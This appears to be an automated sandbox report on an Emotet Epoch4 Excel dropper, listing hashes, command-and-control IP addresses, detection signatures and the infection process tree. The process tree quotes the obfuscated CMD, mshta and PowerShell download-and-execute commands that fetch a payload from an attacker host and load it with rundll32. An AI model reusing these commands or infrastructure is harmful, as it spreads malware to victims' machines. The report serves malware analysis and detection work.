emotet | 711cce17f03661006598a1c6888aece3145f54a9d47cdd7780644d0ea7e34608

General

Target

Form - Jan 28, 2022.xls
Size

46KB
MD5

acfe7d6340b879f65260e326e9363cae
SHA1

7ede3c78229a8b40f993a8130dea7eaa623a42ce
SHA256

711cce17f03661006598a1c6888aece3145f54a9d47cdd7780644d0ea7e34608
SHA512

7c9b108e4abb276f19df16f629ff847cf7bfeb6812bacb87f789260dedbac81c9e4ac414ae088511a3c063154b16ebab7f928e8b37720815f076bb94263354d3

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3128	2460	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

17 2644 mshta.exe
28 3236 powershell.exe
30 3236 powershell.exe
49 1884 rundll32.exe
50 1884 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1292 rundll32.exe
992 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Vikgqarjkkeuqgpz\takv.zxu rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3932 2644 WerFault.exe mshta.exe

flow	pid	process
17	2644	mshta.exe
28	3236	powershell.exe
30	3236	powershell.exe
49	1884	rundll32.exe
50	1884	rundll32.exe

pid	process
1292	rundll32.exe
992	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Vikgqarjkkeuqgpz\takv.zxu	rundll32.exe

pid	pid_target	process	target process
3932	2644	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2460 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
3236	powershell.exe
3236	powershell.exe
3932	WerFault.exe
3932	WerFault.exe
3932	WerFault.exe
3932	WerFault.exe
3932	WerFault.exe
3932	WerFault.exe
3932	WerFault.exe
3932	WerFault.exe
3932	WerFault.exe
3932	WerFault.exe
3932	WerFault.exe
3932	WerFault.exe
3932	WerFault.exe
3932	WerFault.exe
3236	powershell.exe
1884	rundll32.exe
1884	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 3236 powershell.exe
Token: SeDebugPrivilege 3932 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	3236	powershell.exe
Token: SeDebugPrivilege	3932	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2460 wrote to memory of 3128	2460	EXCEL.EXE	CMD.EXE
PID 2460 wrote to memory of 3128	2460	EXCEL.EXE	CMD.EXE
PID 3128 wrote to memory of 2644	3128	CMD.EXE	mshta.exe
PID 3128 wrote to memory of 2644	3128	CMD.EXE	mshta.exe
PID 2644 wrote to memory of 3236	2644	mshta.exe	powershell.exe
PID 2644 wrote to memory of 3236	2644	mshta.exe	powershell.exe
PID 3236 wrote to memory of 1172	3236	powershell.exe	cmd.exe
PID 3236 wrote to memory of 1172	3236	powershell.exe	cmd.exe
PID 1172 wrote to memory of 1292	1172	cmd.exe	rundll32.exe
PID 1172 wrote to memory of 1292	1172	cmd.exe	rundll32.exe
PID 1172 wrote to memory of 1292	1172	cmd.exe	rundll32.exe
PID 1292 wrote to memory of 992	1292	rundll32.exe	rundll32.exe
PID 1292 wrote to memory of 992	1292	rundll32.exe	rundll32.exe
PID 1292 wrote to memory of 992	1292	rundll32.exe	rundll32.exe
PID 992 wrote to memory of 3564	992	rundll32.exe	rundll32.exe
PID 992 wrote to memory of 3564	992	rundll32.exe	rundll32.exe
PID 992 wrote to memory of 3564	992	rundll32.exe	rundll32.exe
PID 3564 wrote to memory of 1884	3564	rundll32.exe	rundll32.exe
PID 3564 wrote to memory of 1884	3564	rundll32.exe	rundll32.exe
PID 3564 wrote to memory of 1884	3564	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Form - Jan 28, 2022.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2460

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3128

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2644

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3236

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:1172

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1292

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:992

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vikgqarjkkeuqgpz\takv.zxu",gqvZ
8⤵
- Suspicious use of WriteProcessMemory
PID:3564

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Vikgqarjkkeuqgpz\takv.zxu",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1884

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2644 -s 1672
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3932

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
01ec9e30d38617c7e5c19511cdcc356b

SHA1
ca77a7a1aecb6105c45c7949a24a827666186317

SHA256
be85203f96196345fb653dc5eea59e97f5ae267bb452c92a228f3cdce366ab61

SHA512
1ba2764d4800091017a921b4b31dfcc91ad9ddd6e9cdedf8f0f68a54e8761ae4137f853b0c5174265ce2d2c0fc0dea838d07e9319593eba7dfa220c2a216d2c7

Download Submit
\ProgramData\QWER.dll
MD5
01ec9e30d38617c7e5c19511cdcc356b

SHA1
ca77a7a1aecb6105c45c7949a24a827666186317

SHA256
be85203f96196345fb653dc5eea59e97f5ae267bb452c92a228f3cdce366ab61

SHA512
1ba2764d4800091017a921b4b31dfcc91ad9ddd6e9cdedf8f0f68a54e8761ae4137f853b0c5174265ce2d2c0fc0dea838d07e9319593eba7dfa220c2a216d2c7

Download Submit
\ProgramData\QWER.dll
MD5
01ec9e30d38617c7e5c19511cdcc356b

SHA1
ca77a7a1aecb6105c45c7949a24a827666186317

SHA256
be85203f96196345fb653dc5eea59e97f5ae267bb452c92a228f3cdce366ab61

SHA512
1ba2764d4800091017a921b4b31dfcc91ad9ddd6e9cdedf8f0f68a54e8761ae4137f853b0c5174265ce2d2c0fc0dea838d07e9319593eba7dfa220c2a216d2c7

Download Submit
memory/992-338-0x0000000005630000-0x0000000005655000-memory.dmp

Filesize
148KB

Download
memory/992-334-0x00000000054A0000-0x00000000054C5000-memory.dmp

Filesize
148KB

Download
memory/992-332-0x0000000005440000-0x0000000005465000-memory.dmp

Filesize
148KB

Download
memory/992-330-0x00000000053E0000-0x0000000005405000-memory.dmp

Filesize
148KB

Download
memory/992-328-0x0000000005280000-0x00000000052A5000-memory.dmp

Filesize
148KB

Download
memory/992-323-0x00000000051A0000-0x00000000051C5000-memory.dmp

Filesize
148KB

Download
memory/992-316-0x0000000004B30000-0x0000000004B55000-memory.dmp

Filesize
148KB

Download
memory/1292-313-0x0000000004F00000-0x0000000004F25000-memory.dmp

Filesize
148KB

Download
memory/1884-348-0x0000000005320000-0x0000000005345000-memory.dmp

Filesize
148KB

Download
memory/1884-354-0x00000000055F0000-0x0000000005615000-memory.dmp

Filesize
148KB

Download
memory/1884-366-0x0000000005860000-0x0000000005885000-memory.dmp

Filesize
148KB

Download
memory/1884-356-0x00000000057E0000-0x0000000005805000-memory.dmp

Filesize
148KB

Download
memory/1884-352-0x00000000054F0000-0x0000000005515000-memory.dmp

Filesize
148KB

Download
memory/1884-350-0x0000000005400000-0x0000000005425000-memory.dmp

Filesize
148KB

Download
memory/1884-346-0x0000000005240000-0x0000000005265000-memory.dmp

Filesize
148KB

Download
memory/1884-344-0x0000000005160000-0x0000000005185000-memory.dmp

Filesize
148KB

Download
memory/1884-341-0x0000000004A30000-0x0000000004A55000-memory.dmp

Filesize
148KB

Download
memory/2460-382-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2460-118-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2460-117-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2460-116-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2460-128-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmp

Filesize
64KB

Download
memory/2460-129-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmp

Filesize
64KB

Download
memory/2460-385-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2460-115-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2460-121-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2460-384-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2460-383-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/3236-317-0x000001D61F090000-0x000001D637190000-memory.dmp

Filesize
385.0MB

Download
memory/3236-305-0x000001D61F090000-0x000001D637190000-memory.dmp

Filesize
385.0MB

Download
memory/3236-300-0x000001D6378C0000-0x000001D637936000-memory.dmp

Filesize
472KB

Download
memory/3236-310-0x000001D61F090000-0x000001D637190000-memory.dmp

Filesize
385.0MB

Download
memory/3236-288-0x000001D6370F0000-0x000001D63712C000-memory.dmp

Filesize
240KB

Download
memory/3236-268-0x000001D61F050000-0x000001D61F072000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads